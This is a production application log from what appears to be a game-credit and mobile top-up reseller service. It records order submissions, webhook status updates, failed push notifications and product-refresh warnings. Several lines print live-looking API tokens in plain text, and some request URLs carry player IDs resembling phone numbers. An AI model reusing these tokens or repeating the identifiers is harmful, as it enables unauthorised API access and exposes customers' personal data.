[2026-03-24 19:02:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:02:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:02:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":1,"errors":0} 
[2026-03-24 19:02:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":1,"errors":0} 
[2026-03-24 19:02:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":3,"order_ids":["ORD-liJ-1774368067","ORD-ljH-1774368088","ORD-iRVQbDny-1774368118"]} 
[2026-03-24 19:02:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:02:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":3} 
[2026-03-24 19:02:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iRVQbDny-1774368118","operation_id":164066} 
[2026-03-24 19:02:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ljH-1774368088","operation_id":164063,"processed":2,"skipped":1,"updates_prepared":2} 
[2026-03-24 19:02:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ljH-1774368088","operation_id":164063,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 19:02:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ljH-1774368088","operation_id":164063,"count":2} 
[2026-03-24 19:02:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ljH-1774368088","operation_id":164063,"count":2} 
[2026-03-24 19:02:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ljH-1774368088","operation_id":164063,"user_id":36,"notification_type":"order_approved","reference_id":179161} 
[2026-03-24 19:02:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ljH-1774368088","operation_id":164063,"user_id":1734,"notification_type":"order_approved","reference_id":179162} 
[2026-03-24 19:02:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ljH-1774368088","operation_id":164063,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:02:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ljH-1774368088","operation_id":164063,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:02:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ljH-1774368088","operation_id":164063,"processed":2,"errors":0} 
[2026-03-24 19:02:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ljH-1774368088","operation_id":164063,"processed":2,"errors":0} 
[2026-03-24 19:02:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"C7MDGJWuGJQdmn7t7JfPdLIOkxmxmRzG","execution_time":"2026-03-24 19:02:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ljH-1774368088","operation_id":164063} 
[2026-03-24 19:02:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-4KYVGjYh-1774368063","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:02:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-4KYVGjYh-1774368063","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:02:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:02:05] production.ERROR: Order not found or already processed. External ID: ORD-4KYVGjYh-1774368063  
[2026-03-24 19:02:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-4KYVGjYh-1774368063","status":"completed","codes_count":0} 
[2026-03-24 19:02:05] production.ERROR: FCM send failed for token 78: Requested entity was not found.  
[2026-03-24 19:02:05] production.ERROR: FCM send failed for token 97: Requested entity was not found.  
[2026-03-24 19:02:05] production.ERROR: FCM send failed for token 126: Requested entity was not found.  
[2026-03-24 19:02:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1734  
[2026-03-24 19:02:08] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-e4bt9W-1774368110","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:02:08] production.INFO: Processed webhook data (normalized) {"id":"ORD-e4bt9W-1774368110","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:02:08] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:02:08] production.INFO: SendAcceptReject: Notification queued {"user_id":130,"notification_type":"order_approved","reference_id":179163} 
[2026-03-24 19:02:08] production.INFO: Order updated successfully. Order ID: 179163, Status: completed  
[2026-03-24 19:02:08] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-e4bt9W-1774368110","status":"completed","codes_count":0} 
[2026-03-24 19:02:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 130  
[2026-03-24 19:02:11] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-gfuYzn-1774368117","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:02:11] production.INFO: Processed webhook data (normalized) {"id":"ORD-gfuYzn-1774368117","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:02:11] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:02:11] production.INFO: SendAcceptReject: Notification queued {"user_id":675,"notification_type":"order_approved","reference_id":179164} 
[2026-03-24 19:02:11] production.INFO: Order updated successfully. Order ID: 179164, Status: completed  
[2026-03-24 19:02:11] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-gfuYzn-1774368117","status":"completed","codes_count":0} 
[2026-03-24 19:02:14] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 675  
[2026-03-24 19:02:41] production.INFO: Constructing job for order: 179166  
[2026-03-24 19:02:44] production.INFO: Constructing job for order: 179167  
[2026-03-24 19:02:44] production.INFO: Handling job for order: 179166  
[2026-03-24 19:02:44] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:02:44] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:02:44] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=c0bed9eb-1b33-4f6d-8329-7ae60eb5a10b&Player_ID=0934026268  
[2026-03-24 19:02:44] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=c0bed9eb-1b33-4f6d-8329-7ae60eb5a10b&Player_ID=0934026268","has_body":false} 
[2026-03-24 19:02:45] production.INFO: Operation sent successfully {"operation_id":164067,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-SBCU8fST-1774368165","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:02:45"}},"processed_data":{"order_number":"ORD-SBCU8fST-1774368165","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:02:45] production.INFO: Handling job for order: 179167  
[2026-03-24 19:02:45] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:02:45] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:02:45] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/809/params?qty=1&uuid=b61a97a8-33c2-40bd-9717-c9bddaec42b4&Player_ID=0935979662  
[2026-03-24 19:02:45] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/809/params?qty=1&uuid=b61a97a8-33c2-40bd-9717-c9bddaec42b4&Player_ID=0935979662","has_body":false} 
[2026-03-24 19:02:46] production.INFO: Operation sent successfully {"operation_id":164068,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-S9Y6OHC-1774368166","amount":223.24182999999999310603016056120395660400390625,"status":"processing","product":"211.54 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:02:46"}},"processed_data":{"order_number":"ORD-S9Y6OHC-1774368166","amount":223.24182999999999310603016056120395660400390625,"status":"processing","product":"211.54 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:02:48] production.INFO: Constructing job for order: 179168  
[2026-03-24 19:02:49] production.INFO: Handling job for order: 179168  
[2026-03-24 19:02:49] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:02:49] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:02:49] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/35/params?qty=1&uuid=fa04f0e0-4481-435d-82d2-ead4f98991f7&Player_ID=0985994059  
[2026-03-24 19:02:49] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/35/params?qty=1&uuid=fa04f0e0-4481-435d-82d2-ead4f98991f7&Player_ID=0985994059","has_body":false} 
[2026-03-24 19:02:49] production.INFO: Operation sent successfully {"operation_id":164069,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ZHPORfX3-1774368169","amount":55.807940000000002100932761095464229583740234375,"status":"processing","product":"52.88 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:02:49"}},"processed_data":{"order_number":"ORD-ZHPORfX3-1774368169","amount":55.807940000000002100932761095464229583740234375,"status":"processing","product":"52.88 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:03:20] production.INFO: Constructing job for order: 179169  
[2026-03-24 19:03:22] production.INFO: Handling job for order: 179169  
[2026-03-24 19:03:22] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:03:22] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:03:22] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=4cda2172-c4ca-4f8c-a90a-3453be134c89&Player_ID=3610048447  
[2026-03-24 19:03:22] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=4cda2172-c4ca-4f8c-a90a-3453be134c89&Player_ID=3610048447","has_body":false} 
[2026-03-24 19:03:23] production.INFO: Operation sent successfully {"operation_id":164070,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-CxR3BhZP-1774368203","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 19:03:23"}},"processed_data":{"order_number":"ORD-CxR3BhZP-1774368203","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 19:03:27] production.INFO: Constructing job for order: 179170  
[2026-03-24 19:03:29] production.INFO: Handling job for order: 179170  
[2026-03-24 19:03:29] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:03:29] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:03:29] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/35/params?qty=1&uuid=91d9eb87-5a7e-4cb8-a376-a11ad72ff638&Player_ID=0992578051  
[2026-03-24 19:03:29] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/35/params?qty=1&uuid=91d9eb87-5a7e-4cb8-a376-a11ad72ff638&Player_ID=0992578051","has_body":false} 
[2026-03-24 19:03:30] production.INFO: Operation sent successfully {"operation_id":164071,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-XBZ-1774368210","amount":55.807940000000002100932761095464229583740234375,"status":"processing","product":"52.88 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:03:30"}},"processed_data":{"order_number":"ORD-XBZ-1774368210","amount":55.807940000000002100932761095464229583740234375,"status":"processing","product":"52.88 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:03:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:03:44] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-CxR3BhZP-1774368203","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:03:44] production.INFO: Processed webhook data (normalized) {"id":"ORD-CxR3BhZP-1774368203","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:03:44] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:03:44] production.INFO: SendAcceptReject: Notification queued {"user_id":675,"notification_type":"order_approved","reference_id":179169} 
[2026-03-24 19:03:44] production.INFO: Order updated successfully. Order ID: 179169, Status: completed  
[2026-03-24 19:03:44] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-CxR3BhZP-1774368203","status":"completed","codes_count":0} 
[2026-03-24 19:03:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 675  
[2026-03-24 19:04:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03"} 
[2026-03-24 19:04:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","total_operations":6,"sites_count":2} 
[2026-03-24 19:04:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-tmRYG-1774365381"]} 
[2026-03-24 19:04:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:04:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 19:04:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:04:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 19:04:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 19:04:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":5,"order_ids":["ORD-iRVQbDny-1774368118","ORD-SBCU8fST-1774368165","ORD-S9Y6OHC-1774368166","ORD-ZHPORfX3-1774368169","ORD-XBZ-1774368210"]} 
[2026-03-24 19:04:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:04:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":5} 
[2026-03-24 19:04:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZHPORfX3-1774368169","operation_id":164069,"processed":5,"skipped":0,"updates_prepared":5} 
[2026-03-24 19:04:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZHPORfX3-1774368169","operation_id":164069,"total_items":5,"chunks":1,"chunk_size":10} 
[2026-03-24 19:04:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZHPORfX3-1774368169","operation_id":164069,"count":5} 
[2026-03-24 19:04:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZHPORfX3-1774368169","operation_id":164069,"count":5} 
[2026-03-24 19:04:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZHPORfX3-1774368169","operation_id":164069,"user_id":134,"notification_type":"order_approved","reference_id":179165} 
[2026-03-24 19:04:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZHPORfX3-1774368169","operation_id":164069,"user_id":36,"notification_type":"order_approved","reference_id":179167} 
[2026-03-24 19:04:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZHPORfX3-1774368169","operation_id":164069,"user_id":1734,"notification_type":"order_approved","reference_id":179166} 
[2026-03-24 19:04:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZHPORfX3-1774368169","operation_id":164069,"user_id":36,"notification_type":"order_approved","reference_id":179170} 
[2026-03-24 19:04:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZHPORfX3-1774368169","operation_id":164069,"user_id":1074,"notification_type":"order_approved","reference_id":179168} 
[2026-03-24 19:04:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZHPORfX3-1774368169","operation_id":164069,"chunk_number":1,"processed":5,"errors":0,"total_operations":5,"total_orders":5,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:04:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZHPORfX3-1774368169","operation_id":164069,"total_processed":5,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:04:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZHPORfX3-1774368169","operation_id":164069,"processed":5,"errors":0} 
[2026-03-24 19:04:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZHPORfX3-1774368169","operation_id":164069,"processed":5,"errors":0} 
[2026-03-24 19:04:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"NOkWECRbgsbLeGdoTn0fJgRA6z91fHRo","execution_time":"2026-03-24 19:04:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZHPORfX3-1774368169","operation_id":164069} 
[2026-03-24 19:04:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 134  
[2026-03-24 19:04:04] production.ERROR: FCM send failed for token 78: Requested entity was not found.  
[2026-03-24 19:04:04] production.ERROR: FCM send failed for token 97: Requested entity was not found.  
[2026-03-24 19:04:04] production.ERROR: FCM send failed for token 126: Requested entity was not found.  
[2026-03-24 19:04:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1734  
[2026-03-24 19:04:04] production.ERROR: FCM send failed for token 78: Requested entity was not found.  
[2026-03-24 19:04:04] production.ERROR: FCM send failed for token 97: Requested entity was not found.  
[2026-03-24 19:04:04] production.ERROR: FCM send failed for token 126: Requested entity was not found.  
[2026-03-24 19:04:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 19:04:30] production.INFO: Constructing job for order: 179171  
[2026-03-24 19:04:32] production.INFO: Handling job for order: 179171  
[2026-03-24 19:04:32] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:04:32] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:04:32] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/561/params?qty=68000&uuid=1e656f7b-d769-454c-ac90-e7adec992839&Player_ID=3270271  
[2026-03-24 19:04:32] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/561/params?qty=68000&uuid=1e656f7b-d769-454c-ac90-e7adec992839&Player_ID=3270271","has_body":false} 
[2026-03-24 19:04:32] production.INFO: Operation sent successfully {"operation_id":164072,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-2r4aIK-1774368272","amount":5.09140480000000028582007871591486036777496337890625,"status":"processing","product":"Tami Amount","game":"Tami","notes":[],"created_at":"2026-03-24 19:04:32"}},"processed_data":{"order_number":"ORD-2r4aIK-1774368272","amount":5.09140480000000028582007871591486036777496337890625,"status":"processing","product":"Tami Amount","game":"Tami"}} 
[2026-03-24 19:04:33] production.INFO: SendAcceptReject: Notification queued {"user_id":1747,"notification_type":"order_rejected","reference_id":178829} 
[2026-03-24 19:04:35] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1747  
[2026-03-24 19:04:35] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1747  
[2026-03-24 19:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 19:05:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 19:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 19:05:04] production.INFO: async() رجع: true  
[2026-03-24 19:05:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 19:05:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 19:05:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 19:05:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 19:05:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 19:05:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 19:05:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 19:05:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 19:05:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 19:05:05] production.WARNING: Product with ID 216 not found  
